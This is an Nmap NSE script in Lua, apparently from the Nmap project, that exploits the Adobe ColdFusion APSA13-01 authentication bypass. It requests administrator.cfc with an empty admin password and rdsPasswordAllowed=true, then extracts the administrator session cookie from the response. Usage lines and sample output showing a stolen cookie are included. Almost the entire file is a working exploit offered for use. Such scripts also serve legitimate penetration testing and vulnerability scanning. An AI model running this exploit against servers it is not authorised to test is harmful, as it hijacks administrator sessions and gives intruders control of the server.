description = [[
Attempts to exploit an authentication bypass vulnerability in Adobe Coldfusion servers (APSA13-01: http://www.adobe.com/support/security/advisories/apsa13-01.html) to retrieve a valid administrator's session cookie. 
]]

---
-- @usage nmap -sV --script http-adobe-coldfusion-apsa1301 <target>
-- @usage nmap -p80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ <target>
-- 
-- @output
-- PORT   STATE SERVICE
-- 80/tcp open  http
-- | http-adobe-coldfusion-apsa1301: 
-- |_  admin_cookie: aW50ZXJhY3RpdmUNQUEyNTFGRDU2NzM1OEYxNkI3REUzRjNCMjJERTgxOTNBNzUxN0NEMA1jZmFkbWlu
--
-- @args http-adobe-coldfusion-apsa1301.basepath URI path to administrator.cfc. Default: /CFIDE/adminapi/
--
---

author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit", "vuln"}

local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local url = require "url"

portrule = shortport.http
local DEFAULT_PATH = "/CFIDE/adminapi/"
local MAGIC_URI = "administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true"
---
-- Extracts the admin cookie by reading CFAUTHORIZATION_cfadmin from the header 'set-cookie'
--
local function get_admin_cookie(host, port, basepath)
  local req = http.get(host, port, basepath..MAGIC_URI)
  if req.header['set-cookie'] then
    stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME)
    local _, _, admin_cookie = string.find(req.header['set-cookie'], ";path=/, CFAUTHORIZATION_cfadmin=(.*);path=/")
    if admin_cookie:len() > 79 then
      stdnse.print_debug(1, "%s: Extracted cookie:%s", SCRIPT_NAME, admin_cookie)
      return admin_cookie
    end
  end
  return nil
end

action = function(host, port)
  local output_tab = stdnse.output_table()
  local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or DEFAULT_PATH
  local cookie = get_admin_cookie(host, port, basepath)
  if cookie then
    output_tab.admin_cookie = cookie
  else
    return nil
  end

  return output_tab
end